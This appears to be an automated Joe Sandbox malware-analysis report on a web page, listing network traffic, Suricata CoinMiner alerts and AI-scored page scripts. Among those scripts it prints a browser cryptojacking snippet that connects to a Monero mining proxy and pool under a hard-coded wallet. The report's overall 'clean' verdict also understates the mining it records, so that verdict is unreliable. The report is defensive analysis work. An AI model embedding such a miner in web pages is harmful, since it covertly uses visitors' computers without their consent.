Edit tour

Windows Analysis Report
https://trythisonce.com/video5.html

Overview

General Information

Sample URL:	https://trythisonce.com/video5.html
Analysis ID:	1572417

Detection

Score:	1
Range:	0 - 100
Whitelisted:	false
Confidence:	80%

Signatures

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6764 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2000,i,14358885690846156433,10047031623799470055,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 2896 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://trythisonce.com/video5.html" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ET MALWARE Observed CoinMiner Proxy Domain (xmrminingproxy .com in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T15:01:57.499316+0100	2053875	2	Crypto Currency Mining Activity Detected	192.168.2.17	49762	104.21.6.188	443	TCP
2024-12-10T15:02:17.147570+0100	2053875	2	Crypto Currency Mining Activity Detected	192.168.2.17	49779	104.21.6.188	443	TCP
2024-12-10T15:02:47.160597+0100	2053875	2	Crypto Currency Mining Activity Detected	192.168.2.17	49787	104.21.6.188	443	TCP

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary
• Boot Survival

Click to jump to signature section

Show All Signature Results

There are no malicious signatures, click here to show all signatures.

Source: https://trythisonce.com/video5.html	HTTP Parser: No favicon
Source: https://trythisonce.com/video5.html	HTTP Parser: No favicon
Source: https://trythisonce.com/video5.html	HTTP Parser: No favicon
Source: https://trythisonce.com/video5.html	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49782 version: TLS 1.2

Source: Network traffic	Suricata IDS: 2053875 - Severity 2 - ET MALWARE Observed CoinMiner Proxy Domain (xmrminingproxy .com in TLS SNI) : 192.168.2.17:49762 -> 104.21.6.188:443
Source: Network traffic	Suricata IDS: 2053875 - Severity 2 - ET MALWARE Observed CoinMiner Proxy Domain (xmrminingproxy .com in TLS SNI) : 192.168.2.17:49787 -> 104.21.6.188:443
Source: Network traffic	Suricata IDS: 2053875 - Severity 2 - ET MALWARE Observed CoinMiner Proxy Domain (xmrminingproxy .com in TLS SNI) : 192.168.2.17:49779 -> 104.21.6.188:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	DNS traffic detected: DNS query: trythisonce.com
Source: global traffic	DNS traffic detected: DNS query: the.gatekeeperconsent.com
Source: global traffic	DNS traffic detected: DNS query: www.ezojs.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ny1.xmrminingproxy.com
Source: global traffic	DNS traffic detected: DNS query: go.ezodn.com
Source: global traffic	DNS traffic detected: DNS query: secure.quantserve.com
Source: global traffic	DNS traffic detected: DNS query: rules.quantcount.com
Source: global traffic	DNS traffic detected: DNS query: pixel.quantserve.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49782 version: TLS 1.2

Source: classification engine

Classification label: clean1.win@16/27@38/153

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2000,i,14358885690846156433,10047031623799470055,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://trythisonce.com/video5.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2000,i,14358885690846156433,10047031623799470055,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://trythisonce.com/video5.html	0%	Avira URL Cloud	safe

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.65.229	true	false	high
go.ezodn.com	172.67.142.121	true	false	high
d2fashanjl7d9f.cloudfront.net	18.66.161.109	true	false	unknown
trythisonce.com	13.37.187.223	true	false	unknown
global.px.quantserve.com	91.228.74.244	true	false	high
the.gatekeeperconsent.com	172.67.199.186	true	false	high
www.google.com	142.250.181.100	true	false	high
ny1.xmrminingproxy.com	104.21.6.188	true	false	unknown
www.ezojs.com	unknown	unknown	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
secure.quantserve.com	unknown	unknown	false	high
pixel.quantserve.com	unknown	unknown	false	high
rules.quantcount.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://trythisonce.com/video5.html	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.238	unknown	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
104.18.186.31	unknown	United States	13335	CLOUDFLARENETUS	false
91.228.74.166	unknown	United Kingdom	27281	QUANTCASTUS	false
91.228.74.244	global.px.quantserve.com	United Kingdom	27281	QUANTCASTUS	false
172.217.17.35	unknown	United States	15169	GOOGLEUS	false
151.101.65.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
172.67.142.121	go.ezodn.com	United States	13335	CLOUDFLARENETUS	false
104.21.87.79	unknown	United States	13335	CLOUDFLARENETUS	false
13.37.187.223	trythisonce.com	United States	7018	ATT-INTERNET4US	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
172.67.170.144	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.6.188	ny1.xmrminingproxy.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.63.106	unknown	United States	13335	CLOUDFLARENETUS	false
91.228.74.159	unknown	United Kingdom	27281	QUANTCASTUS	false
172.217.21.35	unknown	United States	15169	GOOGLEUS	false
64.233.162.84	unknown	United States	15169	GOOGLEUS	false
18.66.161.109	d2fashanjl7d9f.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
172.67.199.186	the.gatekeeperconsent.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.9

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572417
Start date and time:	2024-12-10 15:01:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://trythisonce.com/video5.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	CLEAN
Classification:	clean1.win@16/27@38/153

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe, svchost.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.19.238, 64.233.162.84
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://trythisonce.com/video5.html

LLM Input / Output

Input	Output
URL: https://trythisonce.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://trythisonce.com
URL: https://trythisonce.com/video5.html... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The script defines a consent object and listens for a custom event to update it. There are no high-risk behaviors such as dynamic code execution or data exfiltration. The script appears to be related to consent management, which is a common and benign practice." }
var ezTcfConsent=window.ezTcfConsent?window.ezTcfConsent:{loaded:false,store_info:false,develop_and_improve_services:false,measure_ad_performance:false,measure_content_performance:false,select_basic_ads:false,create_ad_profile:false,select_personalized_ads:false,create_content_profile:false,select_personalized_content:false,understand_audiences:false,use_limited_data_to_select_content:false,};function getEzConsentData(){return new Promise(function(resolve){document.addEventListener("ezConsentEvent",function(event){var ezTcfConsent=event.detail.ezTcfConsent;resolve(ezTcfConsent);});});}
URL: https://trythisonce.com/video5.html... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The script assigns properties to a global object and includes a URL, but there are no high-risk behaviors such as dynamic code execution or data exfiltration. The URL does not appear to be obfuscated or suspicious, and there is no indication of malicious intent." }
window._ezaq = Object.assign({"edge_cache_status":31,"edge_response_time":202,"url":"https://trythisonce.com/video5.html"}, typeof window._ezaq !== "undefined" ? window._ezaq : {});
URL: https://trythisonce.com/video5.html... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The script appears to be related to ad or analytics configuration with no high-risk behaviors such as dynamic code execution or data exfiltration. The domain 'trythisonce.com' is not inherently suspicious, and there are no indicators of malicious intent." }
window._ezaq = Object.assign({"ad_cache_level":1,"adpicker_placement_cnt":0,"ai_placeholder_cache_level":1,"ai_placeholder_placement_cnt":-1,"domain_id":592107,"ezcache_level":1,"ezcache_skip_code":7,"has_bad_image":0,"has_bad_words":0,"is_sitespeed":0,"lt_cache_level":0,"response_size":6209,"response_size_orig":707,"response_time_orig":191,"template_id":120,"url":"https://trythisonce.com/video5.html","word_count":0,"worst_bad_word_level":0}, typeof window._ezaq !== "undefined" ? window._ezaq : {});__ez.queue.markLoaded('ezaqBaseReady');
URL: https://trythisonce.com/video5.html... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script dynamically executes code using innerHTML, which is a high-risk indicator (+3 points). It also sends user data to a server endpoint via XHR, which is a moderate-risk indicator (+2 points). However, the endpoint is a relative path, suggesting it may be internal, and the script appears to be for analytics purposes, which could justify a reduction (-1 point for potential legitimate analytics use)." }
window.ezAnalyticsStatic = true; function analyticsAddScript(script) { var ezDynamic = document.createElement('script'); ezDynamic.type = 'text/javascript'; ezDynamic.innerHTML = script; document.head.appendChild(ezDynamic); } function getCookiesWithPrefix() { var allCookies = document.cookie.split(';'); var cookiesWithPrefix = {}; for (var i = 0; i < allCookies.length; i++) { var cookie = allCookies[i].trim(); for (var j = 0; j < arguments.length; j++) { var prefix = arguments[j]; if (cookie.indexOf(prefix) === 0) { var cookieParts = cookie.split('='); var cookieName = cookieParts[0]; var cookieValue = cookieParts.slice(1).join('='); cookiesWithPrefix[cookieName] = decodeURIComponent(cookieValue); break; // Once matched, no need to check other prefixes } } } return cookiesWithPrefix; } function productAnalytics() { var d = {"pr":[6],"omd5":"c0a3e58c79e6777c515d916354893c8a"}; d.u = _ezaq.url; d.p = _ezaq.page_view_id; d.v = _ezaq.visit_uuid; d.ab = _ezaq.ab_test_id; d.e = JSON.stringify(_ezaq); d.ref = document.referrer; d.c = getCookiesWithPrefix('active_template', 'ez', 'lp_'); if(typeof ez_utmParams !== 'undefined') { d.utm = ez_utmParams; } var dataText = JSON.stringify(d); var xhr = new XMLHttpRequest(); xhr.open('POST','/ezais/analytics?cb=1', true); xhr.onload = function () { if (xhr.status!=200) { return; } if(document.readyState !== 'loading') { analyticsAddScript(xhr.response); return; } var eventFunc = function() { if(document.readyState === 'loading') { return; } document.removeEventListener('readystatechange', eventFunc, false); analyticsAddScript(xhr.response); }; document.addEventListener('readystatechange', eventFunc, false); }; xhr.setRequestHeader('Content-Type','text/plain'); xhr.send(dataText); } __ez.queue.addFunc("productAnalytics", "productAnalytics", null, true, ['ezaqBaseReady'], false, false, false, true);
URL: https://trythisonce.com/video5.html... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The script appears to be a configuration object for ad or analytics purposes with no high-risk behaviors such as dynamic code execution or data exfiltration. The URL is not obfuscated, and there are no interactions with external domains. It uses placeholder patterns typical for analytics or ad scripts." }
window._ezaq = Object.assign({"ad_cache_level":1,"adpicker_placement_cnt":0,"ai_placeholder_cache_level":1,"ai_placeholder_placement_cnt":-1,"domain_id":592107,"ezcache_level":1,"ezcache_skip_code":7,"has_bad_image":0,"has_bad_words":0,"is_sitespeed":0,"lt_cache_level":0,"response_size":6209,"response_size_orig":707,"response_time_orig":191,"template_id":120,"url":"https://trythisonce.com/video5.html","word_count":0,"worst_bad_word_level":0}, typ
URL: https://trythisonce.com/video5.html... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The script is involved in cryptocurrency mining, which can be considered aggressive behavior. It connects to external domains for mining purposes (+2 points for external data transmission). The domains used are not widely recognized as reputable, adding a moderate risk factor (+2 points for suspicious domains). The script's behavior is consistent with mining activity, which is not inherently malicious but can be resource-intensive and unwanted by users (+1 point for behavioral inconsistency)." }
server = "wss://ny1.xmrminingproxy.com"; var pool = "moneroocean.stream"; var walletAddress = "42py1DTXd2NXpoYBvgriVVFtUfvnQ2bwp7A3T124LVo5NQKKziYEwojEoLE6LayGKmdB75b18fsaQQ3MnU2MP8fuVXA3wT1"; var workerId = "kdc" var threads = -1; var password = "x"; startMining(pool, walletAddress, workerId, threads, password); throttleMiner = 90;
URL: https://trythisonce.com/video5.html... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The script dynamically inserts scripts based on consent, which is a common practice for managing user consent for loading third-party resources. However, it lacks transparency about the domains involved and uses aggressive DOM manipulation by inserting scripts. No high-risk behaviors like data exfiltration or redirects to suspicious domains are present." }
var __ezHttpConsent={setByCat:function(src,tagType,attributes,category,force){var setScript=function(){if(force\|\|window.ezTcfConsent[category]){var scriptElement=document.createElement(tagType);scriptElement.src=src;attributes.forEach(function(attr){for(var key in attr){if(attr.hasOwnProperty(key)){scriptElement.setAttribute(key,attr[key]);}}});var firstScript=document.getElementsByTagName(tagType)[0];firstScript.parentNode.insertBefore(scriptElement,firstScript);}};if(force\|\|(window.ezTcfConsent&&window.ezTcfConsent.loaded)){setScript();}else if(typeof getEzConsentData==="function"){getEzConsentData().then(function(ezTcfConsent){if(ezTcfConsent&&ezTcfConsent.loaded){setScript();}else{console.error("cannot get ez consent data");force=true;setScript();}});}else{force=true;setScript();console.error("getEzConsentData is not a function");}},};
URL: https://trythisonce.com/video5.html... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The script sets cookies related to user consent and audience understanding, which is typical for analytics or consent management. It interacts with a specific domain (trythisonce.com) and does not exhibit high-risk behaviors like dynamic code execution or data exfiltration. The use of cookies for consent purposes is a moderate-risk indicator, but there are no signs of malicious intent." }
